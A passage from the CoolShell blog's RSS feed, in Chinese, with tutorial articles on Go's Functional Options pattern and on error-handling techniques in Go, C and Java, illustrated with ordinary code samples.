isPermaLink=\"false\">https://coolshell.cn/?p=21146</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>在本篇文章中，我们来讨论一下Functional Options这个编程模式。这是一个函数式编程的应用案例，编程技巧也很好，是目前在Go语言中最流行的一种编程模...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/21146.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/21146.html\">Go 编程模式：Functional Options</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-medium wp-image-21241\" src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.options-300x186.png\" alt=\"\" width=\"300\" height=\"186\" srcset=\"https://coolshell.cn/wp-content/uploads/2020/12/go.options-300x186.png 300w, https://coolshell.cn/wp-content/uploads/2020/12/go.options-768x476.png 768w, https://coolshell.cn/wp-content/uploads/2020/12/go.options-436x270.png 436w, https://coolshell.cn/wp-content/uploads/2020/12/go.options.png 1015w\" sizes=\"(max-width: 300px) 100vw, 300px\" />在本篇文章中，我们来讨论一下Functional Options这个编程模式。这是一个函数式编程的应用案例，编程技巧也很好，是目前在Go语言中最流行的一种编程模式。但是，在我们正式讨论这个模式之前，我们需要先来看看要解决什么样的问题。</p>\n<section class=\"post-series\"><h3 class=\"post-series-title\">本文是全系列中第3 / 10篇：<a href=\"https://coolshell.cn/articles/series/go%e7%bc%96%e7%a8%8b%e6%a8%a1%e5%bc%8f\">Go编程模式</a></h3><ul class=\"post-series-list\"><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21128.html\">Go编程模式：切片，接口，时间和性能</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21140.html\">Go 编程模式：错误处理</a></span></li><li class=\"post-series-item-current post-series-item\"><span class=\"post-series-item-title\">Go 编程模式：Functional Options</span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21214.html\">Go编程模式：委托和反转控制</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21164.html\">Go编程模式：Map-Reduce</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21179.html\">Go 编程模式：Go Generation</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/17929.html\">Go编程模式：修饰器</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21228.html\">Go编程模式：Pipeline</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21263.html\">Go 编程模式：k8s Visitor 模式</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21615.html\">Go编程模式 ： 泛型编程</a></span></li></ul><nav class=\"post-series-nav\"><span class=\"post-series-nav-prev\">&laquo; <a href=\"https://coolshell.cn/articles/21140.html\" rel=\"prev\" title=\"Go 编程模式：错误处理\">上一篇文章</a></span><span class=\"post-series-nav-next\"><a href=\"https://coolshell.cn/articles/21214.html\" rel=\"next\" title=\"Go编程模式：委托和反转控制\">下一篇文章</a> &raquo;</span></nav></section>\n<h4>配置选项问题</h4>\n<p>在我们编程中，我们会经常性的需要对一个对象（或是业务实体）进行相关的配置。比如下面这个业务实体（注意，这仅只是一个示例）：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">type Server struct {\n    Addr     string\n    Port     int\n    Protocol string\n    Timeout  time.Duration\n    MaxConns int\n    TLS      *tls.Config\n}</pre>\n<p>在这个 <code>Server</code> 对象中，我们可以看到：</p>\n<p><span id=\"more-21146\"></span></p>\n<ul>\n<li>要有侦听的IP地址 <code>Addr</code> 和端口号 <code>Port</code> ，这两个配置选项是必填的（当然，IP地址和端口号都可以有默认值，当这里我们用于举例认为是没有默认值，而且不能为空，需要必填的）。</li>\n<li>然后，还有协议 <code>Protocol</code> 、 <code>Timeout</code> 和<code>MaxConns</code> 字段，这几个字段是不能为空的，但是有默认值的，比如：协议是<code>tcp</code>, 超时<code>30</code>秒 和 最大链接数<code>1024</code>个。</li>\n<li>还有一个 <code>TLS</code> 这个是安全链接，需要配置相关的证书和私钥。这个是可以为空的。</li>\n</ul>\n<p>所以，针对于上述这样的配置，我们需要有多种不同的创建不同配置 <code>Server</code> 的函数签名，如下所示（代码比较宽，需要左右滚动浏览）：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">func NewDefaultServer(addr string, port int) (*Server, error) {\n  return &amp;Server{addr, port, \"tcp\", 30 * time.Second, 100, nil}, nil\n}\n\nfunc NewTLSServer(addr string, port int, tls *tls.Config) (*Server, error) {\n  return &amp;Server{addr, port, \"tcp\", 30 * time.Second, 100, tls}, nil\n}\n\nfunc NewServerWithTimeout(addr string, port int, timeout time.Duration) (*Server, error) {\n  return &amp;Server{addr, port, \"tcp\", timeout, 100, nil}, nil\n}\n\nfunc NewTLSServerWithMaxConnAndTimeout(addr string, port int, maxconns int, timeout time.Duration, tls *tls.Config) (*Server, error) {\n  return &amp;Server{addr, port, \"tcp\", 30 * time.Second, maxconns, tls}, nil\n}</pre>\n<p>因为Go语言不支持重载函数，所以，你得用不同的函数名来应对不同的配置选项。</p>\n<h4>配置对象方案</h4>\n<p>要解决这个问题，最常见的方式是使用一个配置对象，如下所示：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">type Config struct {\n    Protocol string\n    Timeout  time.Duration\n    Maxconns int\n    TLS      *tls.Config\n}</pre>\n<p>我们把那些非必输的选项都移到一个结构体里，于是 <code>Server</code> 对象变成了：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">type Server struct {\n    Addr string\n    Port int\n    Conf *Config\n}</pre>\n<p>于是，我们只需要一个 <code>NewServer()</code> 的函数了，在使用前需要构造 <code>Config</code> 对象。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">func NewServer(addr string, port int, conf *Config) (*Server, error) {\n    //...\n}\n\n//Using the default configuratrion\nsrv1, _ := NewServer(\"localhost\", 9000, nil) \n\nconf := ServerConfig{Protocol:\"tcp\", Timeout: 60*time.Duration}\nsrv2, _ := NewServer(\"locahost\", 9000, &amp;conf)</pre>\n<p>这段代码算是不错了，大多数情况下，我们可能就止步于此了。但是，对于有洁癖的有追求的程序员来说，他们能看到其中有一点不好的是，<code>Config</code> 并不是必需的，所以，你需要判断是否是 <code>nil</code> 或是 Empty &#8211; <code> Config{}</code>这让我们的代码感觉还是有点不是很干净。</p>\n<h4>Builder模式</h4>\n<p>如果你是一个Java程序员，熟悉设计模式的一定会很自然地使用上Builder模式。比如如下的代码：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"java\">User user = new User.Builder()\n  .name(\"Hao Chen\")\n  .email(\"haoel@hotmail.com\")\n  .nickname(\"左耳朵\")\n  .build();</pre>\n<p>仿照上面这个模式，我们可以把上面代码改写成如下的代码（注：下面的代码没有考虑出错处理，其中关于出错处理的更多内容，请参看《<a title=\"GO 编程模式：错误处理\" href=\"https://coolshell.cn/articles/21140.html\" target=\"_blank\" rel=\"noopener\">Go 编程模式：出错处理</a>》）：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">//使用一个builder类来做包装\ntype ServerBuilder struct {\n  Server\n}\n\nfunc (sb *ServerBuilder) Create(addr string, port int) *ServerBuilder {\n  sb.Server.Addr = addr\n  sb.Server.Port = port\n  //其它代码设置其它成员的默认值\n  return sb\n}\n\nfunc (sb *ServerBuilder) WithProtocol(protocol string) *ServerBuilder {\n  sb.Server.Protocol = protocol \n  return sb\n}\n\nfunc (sb *ServerBuilder) WithMaxConn( maxconn int) *ServerBuilder {\n  sb.Server.MaxConns = maxconn\n  return sb\n}\n\nfunc (sb *ServerBuilder) WithTimeOut( timeout time.Duration) *ServerBuilder {\n  sb.Server.Timeout = timeout\n  return sb\n}\n\nfunc (sb *ServerBuilder) WithTLS( tls *tls.Config) *ServerBuilder {\n  sb.Server.TLS = tls\n  return sb\n}\n\nfunc (sb *ServerBuilder) Build() (Server) {\n  return  sb.Server\n}\n</pre>\n<p>于是就可以以如下的方式来使用了</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">sb := ServerBuilder{}\nserver, err := sb.Create(\"127.0.0.1\", 8080).\n  WithProtocol(\"udp\").\n  WithMaxConn(1024).\n  WithTimeOut(30*time.Second).\n  Build()</pre>\n<p>上面这样的方式也很清楚，不需要额外的Config类，使用链式的函数调用的方式来构造一个对象，只需要多加一个Builder类，这个Builder类似乎有点多余，我们似乎可以直接在<code>Server</code> 上进行这样的 Builder 构造，的确是这样的。但是在处理错误的时候可能就有点麻烦（需要为Server结构增加一个error 成员，破坏了Server结构体的“纯洁”），不如一个包装类更好一些。</p>\n<p>如果我们想省掉这个包装的结构体，那么就轮到我们的Functional Options上场了，函数式编程。</p>\n<h4>Functional Options</h4>\n<p>首先，我们先定义一个函数类型：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">type Option func(*Server)</pre>\n<p>然后，我们可以使用函数式的方式定义一组如下的函数：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">func Protocol(p string) Option {\n    return func(s *Server) {\n        s.Protocol = p\n    }\n}\nfunc Timeout(timeout time.Duration) Option {\n    return func(s *Server) {\n        s.Timeout = timeout\n    }\n}\nfunc MaxConns(maxconns int) Option {\n    return func(s *Server) {\n        s.MaxConns = maxconns\n    }\n}\nfunc TLS(tls *tls.Config) Option {\n    return func(s *Server) {\n        s.TLS = tls\n    }\n}</pre>\n<p>上面这组代码传入一个参数，然后返回一个函数，返回的这个函数会设置自己的 <code>Server</code> 参数。例如：</p>\n<ul>\n<li>当我们调用其中的一个函数用 <code>MaxConns(30)</code> 时</li>\n<li>其返回值是一个 <code>func(s* Server) { s.MaxConns = 30 }</code> 的函数。</li>\n</ul>\n<p>这个叫高阶函数。在数学上，就好像这样的数学定义，计算长方形面积的公式为： <code>rect(width, height) = width * height;</code> 这个函数需要两个参数，我们包装一下，就可以变成计算正方形面积的公式：<code>square(width) = rect(width, width)</code> 也就是说，<code>squre(width)</code>返回了另外一个函数，这个函数就是<code>rect(w,h)</code> 只不过他的两个参数是一样的。即：<code>f(x)  = g(x, x)</code></p>\n<p>好了，现在我们再定一个 <code>NewServer()</code>的函数，其中，有一个可变参数 <code>options</code> 其可以传出多个上面上的函数，然后使用一个for-loop来设置我们的 <code>Server</code> 对象。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">func NewServer(addr string, port int, options ...func(*Server)) (*Server, error) {\n\n  srv := Server{\n    Addr:     addr,\n    Port:     port,\n    Protocol: \"tcp\",\n    Timeout:  30 * time.Second,\n    MaxConns: 1000,\n    TLS:      nil,\n  }\n  for _, option := range options {\n    option(&amp;srv)\n  }\n  //...\n  return &amp;srv, nil\n}</pre>\n<p>于是，我们在创建 <code>Server</code> 对象的时候，我们就可以这样来了。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">s1, _ := NewServer(\"localhost\", 1024)\ns2, _ := NewServer(\"localhost\", 2048, Protocol(\"udp\"))\ns3, _ := NewServer(\"0.0.0.0\", 8080, Timeout(300*time.Second), MaxConns(1000))</pre>\n<p>怎么样，是不是高度的整洁和优雅？不但解决了使用 <code>Config</code> 对象方式 的需要有一个config参数，但在不需要的时候，是放 <code>nil</code> 还是放 <code>Config{}</code>的选择困难，也不需要引用一个Builder的控制对象，直接使用函数式编程的试，在代码阅读上也很优雅。</p>\n<p>所以，以后，大家在要玩类似的代码时，强烈推荐使用Functional Options这种方式，这种方式至少带来了如下的好处：</p>\n<ul>\n<li>直觉式的编程</li>\n<li>高度的可配置化</li>\n<li>很容易维护和扩展</li>\n<li>自文档</li>\n<li>对于新来的人很容易上手</li>\n<li>没有什么令人困惑的事（是nil 还是空）</li>\n</ul>\n<h4>参考文档</h4>\n<ul>\n<li><b>“Self referential functions and design” by Rob Pike<br />\n</b><a href=\"http://commandcenter.blogspot.com.au/2014/01/self-referential-functions-and-design.html\">http://commandcenter.blogspot.com.au/2014/01/self-referential-functions-and-design.html</a></li>\n</ul>\n<p>(全文完)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/21164.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.map_.reduce-150x150.png\" alt=\"Go编程模式：Map-Reduce\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21164.html\" class=\"wp_rp_title\">Go编程模式：Map-Reduce</a></li><li ><a href=\"https://coolshell.cn/articles/17929.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/06/go-hardhat-150x150.png\" alt=\"Go编程模式：修饰器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17929.html\" class=\"wp_rp_title\">Go编程模式：修饰器</a></li><li ><a href=\"https://coolshell.cn/articles/21615.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/09/go-generics-150x150.png\" alt=\"Go编程模式 ： 泛型编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21615.html\" class=\"wp_rp_title\">Go编程模式 ： 泛型编程</a></li><li ><a href=\"https://coolshell.cn/articles/21263.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.k8s-150x150.png\" alt=\"Go 编程模式：k8s Visitor 模式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21263.html\" class=\"wp_rp_title\">Go 编程模式：k8s Visitor 模式</a></li><li ><a href=\"https://coolshell.cn/articles/21228.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.line_.-150x150.png\" alt=\"Go编程模式：Pipeline\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21228.html\" class=\"wp_rp_title\">Go编程模式：Pipeline</a></li><li ><a href=\"https://coolshell.cn/articles/21214.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.pair_-150x150.png\" alt=\"Go编程模式：委托和反转控制\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21214.html\" class=\"wp_rp_title\">Go编程模式：委托和反转控制</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/21146.html\">Go 编程模式：Functional Options</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/21146.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>15</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Go 编程模式：错误处理</title>\n\t\t<link>https://coolshell.cn/articles/21140.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/21140.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 22 Dec 2020 10:19:30 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Go 语言]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Error]]></category>\n\t\t<category><![CDATA[Go]]></category>\n\t\t<category><![CDATA[golang]]></category>\n\t\t<guid isPermaLink=\"false\">https://coolshell.cn/?p=21140</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>错误处理一直以一是编程必需要面对的问题，错误处理如果做的好的话，代码的稳定性会很好。不同的语言有不同的出现处理的方式。Go语言也一样，在本篇文章中，我们来讨论一...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/21140.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/21140.html\">Go 编程模式：错误处理</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-medium wp-image-21143\" src=\"https://coolshell.cn/wp-content/uploads/2020/12/err-check-300x186.jpg\" alt=\"\" width=\"300\" height=\"186\" srcset=\"https://coolshell.cn/wp-content/uploads/2020/12/err-check-300x186.jpg 300w, https://coolshell.cn/wp-content/uploads/2020/12/err-check-768x477.jpg 768w, https://coolshell.cn/wp-content/uploads/2020/12/err-check-435x270.jpg 435w, https://coolshell.cn/wp-content/uploads/2020/12/err-check.jpg 770w\" sizes=\"(max-width: 300px) 100vw, 300px\" />错误处理一直以一是编程必需要面对的问题，错误处理如果做的好的话，代码的稳定性会很好。不同的语言有不同的出现处理的方式。Go语言也一样，在本篇文章中，我们来讨论一下Go语言的出错出处，尤其是那令人抓狂的 <code>if err != nil</code> 。</p>\n<p>在正式讨论Go代码里满屏的 <code>if err != nil</code> 怎么办这个事之前，我想先说一说编程中的错误处理。这样可以让大家在更高的层面理解编程中的错误处理。</p>\n<section class=\"post-series\"><h3 class=\"post-series-title\">本文是全系列中第2 / 10篇：<a href=\"https://coolshell.cn/articles/series/go%e7%bc%96%e7%a8%8b%e6%a8%a1%e5%bc%8f\">Go编程模式</a></h3><ul class=\"post-series-list\"><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21128.html\">Go编程模式：切片，接口，时间和性能</a></span></li><li class=\"post-series-item-current post-series-item\"><span class=\"post-series-item-title\">Go 编程模式：错误处理</span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21146.html\">Go 编程模式：Functional Options</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21214.html\">Go编程模式：委托和反转控制</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21164.html\">Go编程模式：Map-Reduce</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21179.html\">Go 编程模式：Go Generation</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/17929.html\">Go编程模式：修饰器</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21228.html\">Go编程模式：Pipeline</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21263.html\">Go 编程模式：k8s Visitor 模式</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21615.html\">Go编程模式 ： 泛型编程</a></span></li></ul><nav class=\"post-series-nav\"><span class=\"post-series-nav-prev\">&laquo; <a href=\"https://coolshell.cn/articles/21128.html\" rel=\"prev\" title=\"Go编程模式：切片，接口，时间和性能\">上一篇文章</a></span><span class=\"post-series-nav-next\"><a href=\"https://coolshell.cn/articles/21146.html\" rel=\"next\" title=\"Go 编程模式：Functional Options\">下一篇文章</a> &raquo;</span></nav></section>\n<h4>C语言的错误检查</h4>\n<p>首先，我们知道，处理错误最直接的方式是通过错误码，这也是传统的方式，在过程式语言中通常都是用这样的方式处理错误的。比如 C 语言，基本上来说，其通过函数的返回值标识是否有错，然后通过全局的 <code>errno</code> 变量并配合一个 <code>errstr</code> 的数组来告诉你为什么出错。</p>\n<p>为什么是这样的设计？道理很简单，除了可以共用一些错误，更重要的是这其实是一种妥协。比如：<code>read()</code>, <code>write()</code>, <code>open()</code> 这些函数的返回值其实是返回有业务逻辑的值。也就是说，这些函数的返回值有两种语义，一种是成功的值，比如 <code>open()</code> 返回的文件句柄指针 <code>FILE*</code> ，或是错误 <code>NULL</code>。这样会导致调用者并不知道是什么原因出错了，需要去检查 <code>errno</code> 来获得出错的原因，从而可以正确地处理错误。</p>\n<p>一般而言，这样的错误处理方式在大多数情况下是没什么问题的。但是也有例外的情况，我们来看一下下面这个 C 语言的函数：</p>\n<p><span id=\"more-21140\"></span></p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">int atoi(const char *str)</pre>\n<p>这个函数是把一个字符串转成整型。但是问题来了，如果一个要传的字符串是非法的（不是数字的格式），如 &#8220;ABC&#8221; 或者整型溢出了，那么这个函数应该返回什么呢？出错返回，返回什么数都不合理，因为这会和正常的结果混淆在一起。比如，返回 <code>0</code>，那么会和正常的对 “0” 字符的返回值完全混淆在一起。这样就无法判断出错的情况。你可能会说，是不是要检查一下 <code>errno</code>，按道理说应该是要去检查的，但是，我们在 C99 的规格说明书中可以看到这样的描述——</p>\n<blockquote><p>7.20.1The functions atof, atoi, atol, and atoll need not affect the value of the integer expression errno on an error. If the value of the result cannot be represented, the behavior is undeﬁned.</p></blockquote>\n<p>像<code>atoi()</code>, <code>atof()</code>, <code>atol()</code> 或是 <code>atoll()</code> 这样的函数是不会设置 <code>errno</code>的，而且，还说了，如果结果无法计算的话，行为是undefined。所以，后来，libc 又给出了一个新的函数<code>strtol()</code>，这个函数在出错的时会设置全局变量 <code>errno</code> ：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">long val = strtol(in_str, &amp;endptr, 10);  //10的意思是10进制\n\n//如果无法转换\nif (endptr == str) {\n    fprintf(stderr, \"No digits were found\\n\");\n    exit(EXIT_FAILURE);\n}\n\n//如果整型溢出了\nif ((errno == ERANGE &amp;&amp; (val == LONG_MAX || val == LONG_MIN)) {\n    fprintf(stderr, \"ERROR: number out of range for LONG\\n\");\n    exit(EXIT_FAILURE);\n }\n\n//如果是其它错误\nif (errno != 0 &amp;&amp; val == 0) {\n    perror(\"strtol\");\n    exit(EXIT_FAILURE);\n}\n</pre>\n<p>虽然，<code>strtol()</code> 函数解决了 <code>atoi()</code> 函数的问题，但是我们还是能感觉到不是很舒服和自然。</p>\n<p>因为，这种用 返回值 + errno 的错误检查方式会有一些问题:</p>\n<ul>\n<li>程序员一不小心就会忘记返回值的检查，从而造成代码的 Bug；</li>\n<li>函数接口非常不纯洁，正常值和错误值混淆在一起，导致语义有问题。</li>\n</ul>\n<p>所以，后来，有一些类库就开始区分这样的事情。比如，Windows 的系统调用开始使用 <code>HRESULT</code> 的返回来统一错误的返回值，这样可以明确函数调用时的返回值是成功还是错误。但这样一来，函数的 input 和 output 只能通过函数的参数来完成，于是出现了所谓的 入参 和 出参 这样的区别。</p>\n<p>然而，这又使得函数接入中参数的语义变得复杂，一些参数是入参，一些参数是出参，函数接口变得复杂了一些。而且，依然没有解决函数的成功或失败可以被人为忽略的问题。</p>\n<h4>Java的错误处理</h4>\n<p>Java语言使用 <code>try-catch-finally</code> 通过使用异常的方式来处理错误，其实，这比起C语言的错处理进了一大步，使用抛异常和抓异常的方式可以让我们的代码有这样的一些好处：</p>\n<ul>\n<li>函数接口在 input（参数）和 output（返回值）以及错误处理的语义是比较清楚的。</li>\n<li>正常逻辑的代码可以与错误处理和资源清理的代码分开，提高了代码的可读性。</li>\n<li>异常不能被忽略（如果要忽略也需要 catch 住，这是显式忽略）。</li>\n<li>在面向对象的语言中（如 Java），异常是个对象，所以，可以实现多态式的 catch。</li>\n<li>与状态返回码相比，异常捕捉有一个显著的好处是，函数可以嵌套调用，或是链式调用。比如：\n<ul>\n<li><code>int x = add(a, div(b,c));</code></li>\n<li><code>Pizza p = PizzaBuilder().SetSize(sz).SetPrice(p)...;</code></li>\n</ul>\n</li>\n</ul>\n<h4>Go语言的错误处理</h4>\n<p>Go 语言的函数支持多返回值，所以，可以在返回接口把业务语义（业务返回值）和控制语义（出错返回值）区分开来。Go 语言的很多函数都会返回 result, err 两个值，于是:</p>\n<ul>\n<li>参数上基本上就是入参，而返回接口把结果和错误分离，这样使得函数的接口语义清晰；</li>\n<li>而且，Go 语言中的错误参数如果要忽略，需要显式地忽略，用 _ 这样的变量来忽略；</li>\n<li>另外，因为返回的 <code>error</code> 是个接口（其中只有一个方法 <code>Error()</code>，返回一个 <code>string</code> ），所以你可以扩展自定义的错误处理。</li>\n</ul>\n<p>另外，如果一个函数返回了多个不同类型的 <code>error</code>，你也可以使用下面这样的方式：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">if err != nil {\n  switch err.(type) {\n    case *json.SyntaxError:\n      ...\n    case *ZeroDivisionError:\n      ...\n    case *NullPointerError:\n      ...\n    default:\n      ...\n  }\n}</pre>\n<p>我们可以看到，Go语言的错误处理的的方式，本质上是返回值检查，但是他也兼顾了异常的一些好处 &#8211; 对错误的扩展。</p>\n<h4>资源清理</h4>\n<p>出错后是需要做资源清理的，不同的编程语言有不同的资源清理的编程模式：</p>\n<ul>\n<li>C语言 &#8211; 使用的是 <code>goto fail;</code> 的方式到一个集中的地方进行清理（有篇有意思的文章可以看一下《<a title=\"由苹果的低级Bug想到的\" href=\"https://coolshell.cn/articles/11112.html\" target=\"_blank\" rel=\"noopener\">由苹果的低级BUG想到的</a>》）</li>\n<li>C++语言- 一般来说使用 <a href=\"https://en.wikipedia.org/wiki/Resource_acquisition_is_initialization\" target=\"_blank\" rel=\"noopener\">RAII模式</a>，通过面向对象的代理模式，把需要清理的资源交给一个代理类，然后在析构函数来解决。</li>\n<li>Java语言 &#8211; 可以在finally 语句块里进行清理。</li>\n<li>Go语言 &#8211; 使用 <code>defer</code> 关键词进行清理。</li>\n</ul>\n<p>下面是一个Go语言的资源清理的示例：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">func Close(c io.Closer) {\n  err := c.Close()\n  if err != nil {\n    log.Fatal(err)\n  }\n}\n\nfunc main() {\n  r, err := Open(\"a\")\n  if err != nil {\n    log.Fatalf(\"error opening 'a'\\n\")\n  }\n  defer Close(r) // 使用defer关键字在函数退出时关闭文件。\n\n  r, err = Open(\"b\")\n  if err != nil {\n    log.Fatalf(\"error opening 'b'\\n\")\n  }\n  defer Close(r) // 使用defer关键字在函数退出时关闭文件。\n}</pre>\n<h4>Error Check  Hell</h4>\n<p>好了，说到 Go 语言的 <code>if err !=nil</code> 的代码了，这样的代码的确是能让人写到吐。那么有没有什么好的方式呢，有的。我们先看如下的一个令人崩溃的代码。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">func parse(r io.Reader) (*Point, error) {\n\n    var p Point\n\n    if err := binary.Read(r, binary.BigEndian, &amp;p.Longitude); err != nil {\n        return nil, err\n    }\n    if err := binary.Read(r, binary.BigEndian, &amp;p.Latitude); err != nil {\n        return nil, err\n    }\n    if err := binary.Read(r, binary.BigEndian, &amp;p.Distance); err != nil {\n        return nil, err\n    }\n    if err := binary.Read(r, binary.BigEndian, &amp;p.ElevationGain); err != nil {\n        return nil, err\n    }\n    if err := binary.Read(r, binary.BigEndian, &amp;p.ElevationLoss); err != nil {\n        return nil, err\n    }\n}</pre>\n<p>要解决这个事，我们可以用函数式编程的方式，如下代码示例：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">func parse(r io.Reader) (*Point, error) {\n    var p Point\n    var err error\n    read := func(data interface{}) {\n        if err != nil {\n            return\n        }\n        err = binary.Read(r, binary.BigEndian, data)\n    }\n\n    read(&amp;p.Longitude)\n    read(&amp;p.Latitude)\n    read(&amp;p.Distance)\n    read(&amp;p.ElevationGain)\n    read(&amp;p.ElevationLoss)\n\n    if err != nil {\n        return &amp;p, err\n    }\n    return &amp;p, nil\n}</pre>\n<p>上面的代码我们可以看到，我们通过使用Closure 的方式把相同的代码给抽出来重新定义一个函数，这样大量的  <code>if err!=nil</code> 处理的很干净了。但是会带来一个问题，那就是有一个 <code>err</code> 变量和一个内部的函数，感觉不是很干净。</p>\n<p>那么，我们还能不能搞得更干净一点呢，我们从Go 语言的 <code>bufio.Scanner()</code>中似乎可以学习到一些东西：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">scanner := bufio.NewScanner(input)\n\nfor scanner.Scan() {\n    token := scanner.Text()\n    // process token\n}\n\nif err := scanner.Err(); err != nil {\n    // process the 